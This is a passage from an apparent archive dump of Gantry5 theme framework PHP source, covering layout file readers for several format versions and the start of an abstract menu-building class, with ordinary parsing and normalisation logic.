    }

    public function check(array $children = null)
    {
        if ($children === null) {
            $children = $this->items;
        }

        foreach ($children as $item) {
            if (!$item instanceof \stdClass) {
                throw new \RuntimeException('Invalid layout
element');
            }
            if (!isset($item->type)) {
                throw new \RuntimeException('Type missing');
            }
            if (!isset($item->subtype)) {
                throw new \RuntimeException('Subtype missing');
            }
            if (!isset($item->attributes)) {
                throw new \RuntimeException('Attributes
missing');
            }
            if (!is_object($item->attributes)) {
                throw new \RuntimeException('Attributes not
object');
            }
            if (isset($item->children)) {
                if (!is_array($item->children)) {
                    throw new \RuntimeException('Children not
array');
                }
                $this->check($item->children);
            }
        }
    }
}
Gantry/Component/Layout/LayoutReader.php000064400000005011151157471010014337
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Layout;

use Gantry\Component\File\CompiledYamlFile;

/**
 * Read layout from yaml file.
 */
class LayoutReader
{
    /**
     * Get layout version.
     *
     * @param array $data
     * @return int
     */
    public static function version(array &$data)
    {
        if (isset($data['version'])) {
            return $data['version'];
        }

        return isset($data['children']) &&
is_array($data['children']) ? 0 : 1;
    }

    /**
     * Make layout from array data.
     *
     * @param array $data
     * @return array
     */
    public static function data(array $data)
    {
        $version = static::version($data);
        $reader = static::getClass($version, $data);
        $result = $reader->load();

        // Make sure that all preset values are set by defining defaults.
        $result['preset'] += [
            'name' => '',
            'image' =>
'gantry-admin://images/layouts/default.png'
        ];

        return $result;
    }

    /**
     * Read layout from yaml file and return parsed version of it.
     *
     * @param string $file
     * @return array
     */
    public static function read($file)
    {
        if (!$file) {
            return [];
        }

        $file = CompiledYamlFile::instance($file);
        $content = (array) $file->content();
        $file->free();

        return static::data($content);
    }

    /**
     * Convert layout into file format.
     *
     * @param array $preset
     * @param array $structure
     * @param int $version
     * @return mixed
     */
    public static function store(array $preset, array $structure, $version
= 2)
    {
        $reader = static::getClass($version);

        return $reader->store($preset, $structure);
    }

    /**
     * @param int $version
     * @param array $data
     * @return object
     */
    protected static function getClass($version, array $data = [])
    {
        $class =
"Gantry\\Component\\Layout\\Version\\Format{$version}";

        if (!class_exists($class)) {
            throw new \RuntimeException('Layout file cound not be
read: unsupported version {$version}.');
        }

        return new $class($data);

    }
}
Gantry/Component/Layout/Version/Format0.php000064400000003601151157471010014677
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Layout\Version;

/**
 * Read layout from Layout Manager yaml file.
 */
class Format0 extends Format1
{
    /**
     * @return array
     */
    public function load()
    {
        $data = &$this->data;

        $preset = isset($data['preset']) &&
is_array($data['preset']) ? $data['preset'] : [];

        $result = is_array($data['children']) ?
$this->object($data['children']) : [];

        $invisible = [
            'offcanvas' =>
$this->parse('offcanvas', [], 0),
            'atoms' => $this->parse('atoms', [],
0)
        ];
        foreach ($result as $key => &$item) {
            if (isset($invisible[$item->type])) {
                $invisible[$item->type] = $item;
                unset($result[$key]);
            }
        }

        $result += $invisible;

        $result = array_values($result);

        return ['preset' => $preset] + $result;
    }

    protected function object(array $items, $container = true)
    {
        foreach ($items as &$item) {
            $item = (object) $item;

            if (isset($item->attributes) &&
(is_array($item->attributes) || is_object($item->attributes))) {
                $item->attributes = (object) $item->attributes;
            } else {
                $item->attributes = (object) [];
            }

            if (!empty($item->children) &&
is_array($item->children)) {
                $item->children = $this->object($item->children,
false);
            }

            $this->normalize($item, $container);
        }

        return $items;
    }
}
Gantry/Component/Layout/Version/Format1.php000064400000021711151157471010014702
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Layout\Version;

/**
 * Read layout from simplified yaml file.
 */
class Format1
{
    protected $scopes = [0 => 'grid', 1 =>
'block'];

    protected $data;

    protected $keys = [];

    public function __construct(array $data)
    {
        $this->data = $data;
    }

    public function load()
    {
        $data = &$this->data;

        // Check if we have preset.
        $preset = [];
        if (isset($data['preset']) &&
is_array($data['preset']) &&
isset($data['layout']) &&
is_array($data['layout'])) {
            $preset = $data['preset'];
            $data = $data['layout'];
        }

        // We have user entered file; let's build the layout.

        // Two last items are always offcanvas and atoms.
        $offcanvas = isset($data['offcanvas']) ?
$data['offcanvas'] : [];
        $atoms = isset($data['atoms']) ? $data['atoms']
: [];

        unset($data['offcanvas'], $data['atoms']);

        $data['offcanvas'] = $offcanvas;
        if ($atoms) {
            $data['atoms'] = $atoms;
        }

        $result = [];
        foreach ($data as $field => $params) {
            $child = $this->parse($field, (array) $params, 0);
            unset($child->size);

            $result[] = $child;
        }

        return ['preset' => $preset] + $result;
    }

    public function store(array $preset, array $structure)
    {
        return ['preset' => $preset, 'children'
=> $structure];
    }

    protected function normalize(&$item, $container = false)
    {
        if ($item->type === 'pagecontent') {
            // Update pagecontent to match the new standards.
            $item->type = 'system';
            if (!$item->subtype || $item->subtype ==
'pagecontent') {
                $item->subtype = 'content';
                $item->title = 'Page Content';
            } else {
                $item->subtype ='messages';
                $item->title = 'System Messages';
            }
        }

        if ($item->type === 'section') {
            // Update section to match the new standards.
            $section = strtolower($item->title);
            $item->id = $section;
            $item->subtype = (in_array($section, ['aside',
'nav', 'article', 'header',
'footer', 'main']) ? $section : 'section');
        } elseif ($item->type === 'offcanvas') {
            $item->id = $item->subtype = $item->type;
            unset ($item->attributes->name,
$item->attributes->boxed);
            return;
        } else {
            // Update all ids to match the new standards.
            $item->id = $this->id($item->type, $item->subtype);
        }

        if (!empty($item->attributes->extra)) {
            foreach ($item->attributes->extra as $i => $extra) {
                $v = reset($extra);
                $k = key($extra);
                if ($k === 'id') {
                    $item->id = preg_replace('/^g-/',
'', $v);
                    $item->attributes->id = $v;
                    unset ($item->attributes->extra[$i]);
                }
            }
            if (empty($item->attributes->extra)) {
                unset ($item->attributes->extra);
            }
        }

        $item->subtype = $item->subtype ?: $item->type;
        $item->layout = in_array($item->type, ['container',
'section', 'grid', 'block',
'offcanvas']);

        if (isset($item->attributes->boxed)) {
            // Boxed already set, just change boxed=0 to boxed=''
to use default settings.
            $item->attributes->boxed = $item->attributes->boxed
?: '';
            return;
        }

        if (!$container) {
            return;
        }

        // Update boxed model to match the new standards.
        if (isset($item->children) && count($item->children)
=== 1) {
            $child = reset($item->children);
            if ($item->type === 'container') {
                // Remove parent container only if the only child is a
section.
                if ($child->type === 'section') {
                    $child->attributes->boxed = 1;
                    $item = $child;
                }
                $item->attributes->boxed = '';
            } elseif ($child->type === 'container') {
                // Remove child container.
                $item->attributes->boxed = '';
                $item->children = $child->children;
            }
        }
    }

    /**
     * @param int|string $field
     * @param array $content
     * @param int $scope
     * @param bool|null $container
     * @return array
     */
    protected function parse($field, array $content, $scope, $container =
true)
    {
        if (is_numeric($field))  {
            // Row or block
            $type = $this->scopes[$scope];
            $result = (object) ['id' => null, 'type'
=> $type, 'subtype' => $type, 'layout' =>
true, 'attributes' => (object) []];
            $scope = ($scope + 1) % 2;
        } elseif (substr($field, 0, 9) == 'container') {
            // Container
            $type = 'container';
            $result = (object) ['id' => null, 'type'
=> $type, 'subtype' => $type, 'layout' =>
true, 'attributes' => (object) []];
            $id = substr($field, 10) ?: null;
            if ($id !== null) {
                $result->attributes->id = $id;
            }
        } else {
            // Section
            $list = explode(' ', $field, 2);
            $field = array_shift($list);
            $size = ((float) array_shift($list)) ?: null;
            $type = in_array($field, ['atoms',
'offcanvas']) ? $field : 'section';
            $subtype = in_array($field, ['aside',
'nav', 'article', 'header',
'footer', 'main']) ? $field : 'section';

            $result = (object) [
                'id' => null,
                'type' => $type,
                'subtype' => $subtype,
                'layout' => true,
                'title' => ucfirst($field),
                'attributes' => (object) ['id' =>
'g-' . $field]
            ];

            if ($size) {
                $result->size = $size;
            }
        }

        if (!empty($content)) {
            $result->children = [];
            foreach ($content as $child => $params) {
                if (is_array($params)) {
                    $child = $this->parse($child, $params, $scope,
false);
                } else {
                    $child = $this->resolve($params, $scope);
                }
                if (!empty($child->size)) {
                    $result->attributes->size = $child->size;
                }
                unset($child->size);
                $result->children[] = $child;
            }
        }

        $this->normalize($result, $container);

        return $result;
    }

    /**
     * @param string $field
     * @param int $scope
     * @return array
     */
    protected function resolve($field, $scope)
    {
        $list = explode(' ', $field, 2);
        $list2 = explode('-', array_shift($list), 2);
        $size = ((float) array_shift($list)) ?: null;
        $type = array_shift($list2);
        $subtype = array_shift($list2) ?: false;
        $title = ucfirst($subtype ?: $type);

        $attributes = new \stdClass;

        $attributes->enabled = 1;

        if ($subtype && $type === 'position') {
            $attributes->key = $subtype;
            $subtype = false;
        }

        $result = (object) ['id' => $this->id($type,
$subtype), 'title' => $title, 'type' => $type,
'subtype' => $subtype, 'attributes' =>
$attributes];
        $this->normalize($result);

        if ($scope > 1) {
            if ($size) {
                $result->attributes->size = $size;
            }
            return $result;
        }
        if ($scope <= 1) {
            $result = (object) ['id' =>
$this->id('block'), 'type' => 'block',
'subtype' => 'block', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
            if ($size) {
                $result->attributes->size = $size;
            }
        }
        if ($scope == 0) {
            $result = (object) ['id' =>
$this->id('grid'), 'type' => 'grid',
'subtype' => 'grid', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
        }

        return $result;
    }


    protected function id($type, $subtype = null)
    {
        if ($type === 'atoms') {
            return $type;
        }

        $result = [];
        if ($type !== 'particle' && $type !==
'atom') {
            $result[] = $type;
        }
        if ($subtype && $subtype !== $type) {
            $result[] = $subtype;
        }
        $key = implode('-', $result);

        while ($id = rand(1000, 9999)) {
            if (!isset($this->keys[$key][$id])) {
                break;
            }
        }

        $this->keys[$key][$id] = true;

        return $key . '-'. $id;
    }
}
Gantry/Component/Layout/Version/Format2.php000064400000042706151157471010014712
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Layout\Version;

/**
 * Read layout from simplified yaml file.
 */
class Format2
{
    protected $scopes = [0 => 'grid', 1 =>
'block'];
    protected $sections = ['wrapper', 'container',
'section', 'grid', 'block',
'offcanvas'];
    protected $structures = ['div', 'section',
'aside', 'nav', 'article',
'header', 'footer', 'main'];

    protected $data;
    protected $structure;
    protected $content;
    protected $keys;

    /**
     * @param array $data
     */
    public function __construct(array $data = [])
    {
        $this->data = $data;
    }

    /**
     * @return array
     */
    public function load()
    {
        $data = &$this->data;

        // Parse layout.
        $result = [];
        foreach ($data['layout'] as $field => &$params) {
            if (!is_array($params)) {
                $params = [];
            }
            $child = $this->parse($field, $params);
            unset($child->size);

            $result[] = $child;
        }

        return ['preset' => $data['preset']] +
$result;
    }

    /**
     * @param array $preset
     * @param array $structure
     * @return array
     */
    public function store(array $preset, array $structure)
    {
        $this->structure = [];
        $this->content = [];

        $structure = ['children' =>
json_decode(json_encode($structure), true)];
        $structure = $this->build($structure);

        $result = [
            'version' => 2,
            'preset' => $preset,
            'layout' => $structure
        ];

        if ($this->structure) {
            $result['structure'] = $this->structure;
        }
        if ($this->content) {
            $result['content'] = $this->content;
        }

        return $result;
    }

    /**
     * @param int|string $field
     * @param array $content
     * @param int $scope
     * @param object $parent
     * @return array
     */
    protected function parse($field, array &$content, $scope = 0,
$parent = null)
    {
        if (is_numeric($field)) {
            // Row or block
            $result = (object)['id' =>
$this->id($this->scopes[$scope]), 'type' =>
$this->scopes[$scope], 'subtype' =>
$this->scopes[$scope], 'layout' => true,
'attributes' => (object)[]];
            $scope = ($scope + 1) % 2;

        } else {
            list ($type, $subtype, $id, $size, $section_id, $boxed) =
$this->parseSectionString($field);

            if ($type == 'grid') {
                $scope = 1;
            }
            if ($type == 'block') {
                $scope = 0;
            }

            // Build object.
            $result =
isset($this->data['structure'][$section_id]) ? (array)
$this->data['structure'][$section_id] : [];
            $result += [
                'id' => $section_id,
                'layout' => true,
                'type' => $type,
                'subtype' => $subtype,
                'title' => $this->getTitle($type, $subtype,
$id),
                'attributes' => []
            ];
            if (isset($boxed) &&
!isset($result['attributes']['boxed'])) {
                $result['attributes']['boxed'] =
$boxed;
            }
            if ($parent && $parent->type === 'block'
&& !empty($result['block'])) {
                $parent->attributes = (object)
($result['block'] + (array) $parent->attributes);
            }
            unset ($result['block']);

            $result = (object) $result;
            $result->attributes = (object) $result->attributes;
            if (isset($result->inherit)) {
                $result->inherit = (object) $result->inherit;
            }

            if ($size) {
                $result->size = $size;
            }
            if (($type === 'grid' || $type === 'block')
&& !isset($result->attributes->id)) {
                $result->attributes->id = $section_id;
            }
        }

        if (!empty($content)) {
            $result->children = [];
            foreach ($content as $child => &$params) {
                if (!$params && !is_array($params)) {
                    $params = [];
                }
                if (is_array($params)) {
                    $child = $this->parse($child, $params, $scope,
$result);
                } else {
                    $child = $this->resolve($params, $scope, $result);
                }
                if (!empty($child->size)) {
                    $result->attributes->size = $child->size;
                }
                unset($child->size);
                $result->children[] = $child;
            }
        }

        return $result;
    }

    /**
     * @param string $field
     * @param int $scope
     * @param object $parent
     * @return array
     */
    protected function resolve($field, $scope, $parent)
    {
        list ($type, $subtype, $id, $size, $content_id) =
$this->parseContentString($field);

        $title = $this->getTitle($type, $subtype, $id);

        $result = isset($this->data['content'][$content_id]) ?
(array) $this->data['content'][$content_id] : [];
        $result += ['id' => $this->id($type, $subtype,
$id), 'title' => $title, 'type' => $type,
'subtype' => $subtype, 'attributes' => []];

        $result['attributes'] = (object)
($result['attributes'] + ['enabled' => 1]);
        if (isset($result['inherit'])) {
            $result['inherit'] = (object)
$result['inherit'];
        }

        if (isset($result['block'])) {
            $block = $result['block'];
            unset ($result['block']);
        }

        $result = (object) $result;

        if ($type === 'position' &&
!isset($result->attributes->key) && !in_array($subtype,
['module', 'widget'])) {
            $result->attributes->key = $id;
        }
        if ($scope > 1) {
            if ($parent->type === 'block' &&
!empty($block)) {
                $parent->attributes = (object) ($block + (array)
$parent->attributes);
            }
            if ($size) {
                $result->attributes->size = $size;
            }
        }
        if ($scope <= 1) {
            $result = (object) ['id' =>
$this->id('block'), 'type' => 'block',
'subtype' => 'block', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
            if (!empty($block)) {
                $result->attributes = (object) $block;
            }
            if ($size) {
                $result->attributes->size = $size;
            }
        }
        if ($scope == 0) {
            $result = (object) ['id' =>
$this->id('grid'), 'type' => 'grid',
'subtype' => 'grid', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
        }

        return $result;
    }

    /**
     * @param array $content
     * @return array|null
     */
    protected function build(array &$content)
    {
        $result = [];
        $ctype = isset($content['type']) ?
$content['type'] : null;

        if (in_array($ctype, ['grid', 'block'])) {
            if (empty($content['attributes']['id']) ||
$content['attributes']['id'] ===
$content['id']) {
                unset ($content['attributes']['id']);
            }
        }
        if ($ctype === 'block') {
            if (empty($content['attributes']['extra']))
{
                unset
($content['attributes']['extra']);
            }
            if (empty($content['attributes']['fixed']))
{
                unset
($content['attributes']['fixed']);
            }
        }
        if ($ctype === 'section') {
            if (empty($content['attributes']['extra']))
{
                unset
($content['attributes']['extra']);
            }
        }

        if (!isset($content['children'])) {
            $content['children'] = [];
        }
        unset ($content['layout']);

        // Clean up all items for saving.
        foreach ($content['children'] as &$child) {
            $size = null;
            $id = $child['id'];
            $type = $child['type'];
            $subtype = $child['subtype'];
            $isSection = in_array($type, $this->sections);

            if (empty($child['inherit']['outline']) ||
empty($child['inherit']['include'])) {
                unset ($child['inherit']);
            } else {
                foreach ($child['inherit']['include']
as $include) {
                    switch ($include) {
                        case 'attributes':
                            unset($child['attributes']);
                            break;
                        case 'block':
                            if ($ctype === 'block') {
                                // Keep block size and fixed status.
                                $attributes =
!empty($content['attributes']) ? $content['attributes']
: [];
                                $content['attributes'] =
array_intersect_key($attributes, ['fixed' => 1,
'size' => 1]);
                            }
                            break;
                        case 'children':
                            $child['children'] = [];
                            break;
                    }
                }
            }

            if (!$isSection) {
                // Special handling for positions.
                if ($type === 'position') {
                    // TODO: we may want to simplify position id, but we
need to take into account multiple instances of the same position key.
/*
                    if (!$subtype || $subtype === 'position') {
                        $id = 'position-' .
(isset($child['attributes']['key']) ?
$child['attributes']['key'] : rand(1000,9999));
                        unset
($child['attributes']['key']);
                    }
*/
                    unset
($child['attributes']['title']);
                }

                $value = $id;
                if
(!empty($child['attributes']['enabled'])) {
                    unset
($child['attributes']['enabled']);
                }
            } else {
                // Recursively handle structure.
                $value = $this->build($child);
            }

            // Clean up defaults.
            if (empty($child['title']) ||
$child['title'] === 'Untitled' ||
$child['title'] === $this->getTitle($type, $subtype, $id)) {
                unset ($child['title']);
            }
            if (!$subtype || $subtype === $type) {
                unset ($child['subtype']);
            }

            // Remove id and children as we store data in flat structure
with id being the key.
            unset ($child['id'], $child['children']);

            if ($type === 'offcanvas' &&
isset($child['attributes']['name'])) {
                unset ($child['attributes']['name']);
            }

            if ($ctype === 'block') {
                // Embed size into array key/value.
                if
(isset($content['attributes']['size']) &&
$content['attributes']['size'] != 100) {
                    $size =
$content['attributes']['size'];
                }
                unset ($content['attributes']['size']);
                // Embed parent block.
                if (!empty($content['attributes'])) {
                    $child['block'] =
$content['attributes'];
                    unset ($content['attributes']);
                }
            }

            if (isset($child['attributes']['size'])) {
                if ($child['attributes']['size'] != 100
&& is_string($value)) {
                    $size =
$child['attributes']['size'];
                }
                unset ($child['attributes']['size']);
            }

            // Remove attributes if there aren't any.
            if (empty($child['attributes'])) {
                unset ($child['attributes']);
            }

            // Special handling for grid and block elements.
            if (in_array($type, ['grid', 'block'])
&& count($child) === 1 && isset($child['type']))
{
                $id = null;
            }

            // Check if type and subtype can be generated from the id.
            if ($subtype &&
(preg_match("/^{$type}-{$subtype}(-|$)/", $id))
                || (in_array($type, ['section',
'particle']) &&
preg_match("/^{$subtype}(-|$)/", $id))) {
                unset ($child['type'],
$child['subtype']);
            } elseif (preg_match("/^{$type}(-|$)/", $id)) {
                unset ($child['type']);
            }

            // Add item configuration if not empty.
            if ($id && !empty($child)) {
                if (!is_string($value)) {
                    $this->structure[$id] = $child;
                } else {
                    $this->content[$id] = $child;
                }
            }

            // Add item to the layout.
            if (!is_string($value)) {
                // Add structural item.
                if ($id) {
                    // Sections and other complex items.
                    $id =
isset($child['attributes']['boxed']) ?
"/{$id}/" : $id;
                    $result[trim("{$id} {$size}")] = $value;
                } elseif (!empty($value)) {
                    // Simple grid / block item.
                    $result[] = $value;
                }
            } else {
                // Add content item.
                $result[] = trim("{$value} {$size}");
            }
        }

        // TODO: maybe collapse grid as well?
        if ($ctype && in_array($ctype, ['block'])
&& count($result) <= 1 && key($result) === 0) {
            unset ($this->structure[$content['id']]);
            return reset($result) ?: null;
        }

        return $result;
    }

    /**
     * @param string $string
     * @return array
     */
    protected function parseSectionString($string)
    {
        // Extract: "[section-id] [size]".
        $list = explode(' ', $string, 2);
        $section_id = array_shift($list);
        $size = ((float) array_shift($list)) ?: null;

        // Extract slashes from "/[section-id]/".
        $boxedLeft = $section_id[0] === '/';
        $boxedRight = $section_id[strlen($section_id)-1] === '/';
        $boxed = ($boxedLeft && $boxedRight ? '' :
($boxedLeft ? '1' : ($boxedRight ? '0' : null)));
        $section_id = trim($section_id, '/');

        // Extract section id if it exists: "[section]-[id]".
        $list = explode('-', $section_id, 2);

        // Get section and its type.
        $section = reset($list);
        $type = (in_array($section, $this->sections)) ? $section :
'section';
        $subtype = ($type !== 'section' || in_array($section,
$this->structures)) ? $section : 'section';

        // Extract id.
        if ($type == 'section' && in_array($section,
$this->structures)) {
            $id = array_pop($list);
        } else {
            $id = $section_id;
        }

        return [$type, $subtype, $id, $size, $section_id, $boxed];
    }

    /**
     * @param string $string
     * @return array
     */
    protected function parseContentString($string)
    {
        // Extract: "[type-subtype] [size]".
        $list = explode(' ', $string, 2);
        $content_id = array_shift($list);
        $size = ((float) array_shift($list)) ?: null;

        // Extract sub-type if it exists:
"[type]-[subtype]-[id]".
        $list = explode('-', $content_id);

        // Get type, subtype and id.
        $type = reset($list);
        $test = end($list);
        $id = ((string)(int) $test === (string) $test) ? array_pop($list) :
null;
        if (in_array($type, ['system', 'position',
'particle', 'spacer'])) {
            array_shift($list);
        } else {
            $type = 'particle';
        }
        $subtype = implode('-', $list);

        if ($type === 'position' && !in_array($subtype,
['module', 'widget'])) {
            $id = ($subtype ?: $type) . ($id !== null ? "-{$id}"
: '');
            $subtype = 'position';
        }

        return [$type, $subtype ?: $type, $id, $size, $content_id];
    }

    /**
     * @param string $type
     * @param string $subtype
     * @param string $id
     * @return string
     */
    protected function getTitle($type, $subtype, $id)
    {
        if (in_array($type, $this->sections)) {
            if ($type === 'offcanvas') {
                return 'Offcanvas';
            }

            if ($type === 'grid' || $type === 'block')
{
                return null;
            }

            return ucfirst((string)(int) $id === (string) $id ? ($subtype
?: $type) . "-{$id}" : $id);
        }

        if ($type === 'position' && !in_array($subtype,
['module', 'widget'])) {
            return
ucfirst(preg_replace('/^position-(.*?[a-z])/ui', '\1',
$id));
        }

        if ($type === 'system') {
            if ($subtype === 'messages') {
                return 'System Messages';
            }
            if ($subtype === 'content') {
                return 'Page Content';
            }
        }

        return ucfirst($subtype ?: $type);
    }

    /**
     * @param string $type
     * @param string $subtype
     * @param string $id
     * @return string
     */
    protected function id($type, $subtype = null, $id = null)
    {
        $result = [];
        if ($type !== 'particle') {
            $result[] = $type;
        }
        if ($subtype && $subtype !== $type) {
            $result[] = $subtype;
        }
        $key = implode('-', $result);

        if (!$id || isset($this->keys[$key][$id])) {
            while ($id = rand(1000, 9999)) {
                if (!isset($this->keys[$key][$id])) {
                    break;
                }
            }
        }

        $this->keys[$key][$id] = true;

        return $key . '-'. $id;
    }
}
Gantry/Component/Menu/AbstractMenu.php000064400000026431151157471010013767
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Menu;

use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Gantry\GantryTrait;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccessWithGetters;
use RocketTheme\Toolbox\ArrayTraits\Countable;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

abstract class AbstractMenu implements \ArrayAccess, \Iterator, \Countable
{
    use GantryTrait, ArrayAccessWithGetters, Iterator, Export, Countable;

    protected $default;
    protected $base;
    protected $active;
    protected $params;
    protected $override = false;
    protected $config;

    /**
     * @var array|Item[]
     */
    protected $items;

    /**
     * @var Config|null
     */
    protected $pathMap;

    protected $defaults = [
        'menu' => '',
        'base' => '/',
        'startLevel' => 1,
        'maxLevels' => 0,
        'showAllChildren' => true,
        'highlightAlias' => true,
        'highlightParentAlias' => true
    ];

    abstract public function __construct();

    /**
     * Return list of menus.
     *
     * @return array
     */
    abstract public function getMenus();


    /**
     * Return default menu.
     *
     * @return string
     */
    public function getDefaultMenuName()
    {
        return null;
    }

    /**
     * Returns true if the platform implements a Default menu.
     *
     * @return boolean
     */
    public function hasDefaultMenu()
    {
        return false;
    }

    /**
     * Return active menu.
     *
     * @return string
     */
    public function getActiveMenuName()
    {
        return null;
    }

    /**
     * Returns true if the platform implements an Active menu.
     *
     * @return boolean
     */
    public function hasActiveMenu()
    {
        return false;
    }

    /**
     * @param array $params
     * @param Config $menu
     * @return AbstractMenu
     */
    public function instance(array $params = [], Config $menu = null)
    {
        $params = $params + $this->defaults;

        $menus = $this->getMenus();

        if (!$menus) {
            throw new \RuntimeException('Site does not have
menus', 404);
        }
        if (empty($params['menu'])) {
            $params['menu'] = $this->getDefaultMenuName();
            if (!$params['menu'] &&
!empty($params['admin'])) {
                // In admin just select the first menu if there isn't
default menu to be selected.
                $params['menu'] = reset($menus);
            };
        } elseif ($params['menu'] == '-active-') {
            $params['menu'] = $this->getActiveMenuName();
        }
        if (!$params['menu']) {
            throw new \RuntimeException('No menu selected', 404);
        }
        if (!in_array($params['menu'], $menus)) {
            throw new \RuntimeException('Menu not found', 404);
        }

        $instance = clone $this;
        $instance->params = $params;

        if ($menu) {
            $instance->override = true;
            $instance->config = $menu;
        } else {
            $instance->config = null;
        }

        $config = $instance->config();
        $items = isset($config['items']) ?
$config['items'] : [];

        // Create menu structure.
        $instance->init($params);

        // Get menu items from the system (if not specified otherwise).
        if ($config->get('settings.type') !==
'custom') {
            $instance->getList($params, $items);
        }

        // Add custom menu items.
        $instance->addCustom($params, $items);

        // Sort menu items.
        $instance->sortAll();

        return $instance;
    }

    /**
     * Get menu configuration.
     *
     * @return Config
     */
    public function config()
    {
        if (!$this->config) {
            $gantry = static::gantry();

            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];

            $menu = $this->params['menu'];

            $file =
CompiledYamlFile::instance($locator("gantry-config://menu/{$menu}.yaml"));
            $this->config = new Config($file->content());
            $this->config->def('settings.title',
ucfirst($menu));
            $file->free();
        }

        return $this->config;
    }

    public function name()
    {
        return $this->params['menu'];
    }

    public function root()
    {
        return $this->offsetGet('');
    }

    public function ordering()
    {
        $list = [];
        foreach ($this->items as $name => $item) {
            $groups = $item->groups();
            if (count($groups) == 1 && empty($groups[0])) {
                continue;
            }

            $list[$name] = [];
            foreach ($groups as $col => $children) {
                $list[$name][$col] = [];
                foreach ($children as $child) {
                    $list[$name][$col][] = $child->path;
                }
            }
        }

        return $list;
    }

    public function items($withdefaults = true)
    {
        $list = [];
        foreach ($this->items as $key => $item) {
            if ($key !== '') {
                $list[$item->path] = $item->toArray($withdefaults);
            }
        }

        return $list;
    }

    public function settings()
    {
        return (array) $this->config()->get('settings');
    }

    /**
     * @return object
     */
    public function getBase()
    {
        return $this->offsetGet($this->base);
    }

    /**
     * @return object
     */
    public function getDefault()
    {
        return $this->offsetGet($this->default);
    }

    /**
     * @return object
     */
    public function getActive()
    {
        return $this->offsetGet($this->active);
    }

    /**
     * @return string|null
     */
    public function getCacheId()
    {
        return $this->active ?: '-inactive-';
    }

    public function isActive($item)
    {
        $active = $this->getActive();

        if ($active && $item && ($active->path ===
$item->path || strpos($active->path, $item->path . '/')
=== 0)) {
            return true;
        }

        return false;
    }

    public function isCurrent($item)
    {
        $active = $this->getActive();

        return $item && $active && $item->path ===
$active->path;
    }

    public function init(&$params)
    {
        $this->items = ['' => new Item($this, '',
['layout' => 'horizontal'])];
    }

    public function add(Item $item)
    {
        $this->items[$item->path] = $item;

        // If parent exists, assign menu item to its parent; otherwise
ignore menu item.
        if (isset($this->items[$item->parent_id])) {
            $this->items[$item->parent_id]->addChild($item);
        } elseif (!$this->items['']->count()) {
            $this->items[$item->parent_id] =
$this->items[''];
            $this->items[$item->parent_id]->addChild($item);
        }

        return $this;
    }

    /**
     * Get menu items from the platform.
     *
     * @param int $levels
     * @return array
     */
    abstract protected function getItemsFromPlatform($levels);

    /**
     * Get base menu item.
     *
     * If itemid is not specified or does not exist, return active menu
item.
     * If there is no active menu item, fall back to home page for the
current language.
     * If there is no home page, return null.
     *
     * @param   string  $path
     *
     * @return  string
     */
    abstract protected function calcBase($path);

    /**
     * Get a list of the menu items.
     *
     * @param  array  $params
     * @param  array  $items
     */
    abstract public function getList(array $params, array $items);

    /**
     * Add custom menu items.
     *
     * @param  array  $params
     * @param array $items
     */
    public function addCustom(array $params, array $items)
    {
        $start   = $params['startLevel'];
        $max     = $params['maxLevels'];
        $end     = $max ? $start + $max - 1 : 0;

        $config = $this->config();
        $type = $config->get('settings.type');

        // Add custom menu elements.
        foreach ($items as $route => $item) {
            if ($type !== 'custom' &&
(!isset($item['type']) || $item['type'] !==
'particle')) {
                continue;
            }

            $tree = explode('/', $route);
            $parentTree = $tree;
            array_pop($parentTree);

            // Enabled state should equal particle setting.
            $item['enabled'] =
!isset($item['options']['particle']['enabled'])
||
!empty($item['options']['particle']['enabled']);
            $item['level'] = $level = count($tree);
            $item['parent_id'] = implode('/',
$parentTree);
            if (($start && $start > $level)
                || ($end && $level > $end)
                // TODO: Improve. In the mean time Item::add() handles this
part.
                // || ($start > 1 && !in_array($tree[$start -
2], $tree))
            ) {
                continue;
            }
            $item = new Item($this, $route, $item);
            $this->add($item);
        }
    }

    /**
     * @param array $ordering
     * @param string $path
     * @param array $map
     */
    public function sortAll(array $ordering = null, $path = '',
$map = null)
    {
        if ($ordering === null) {
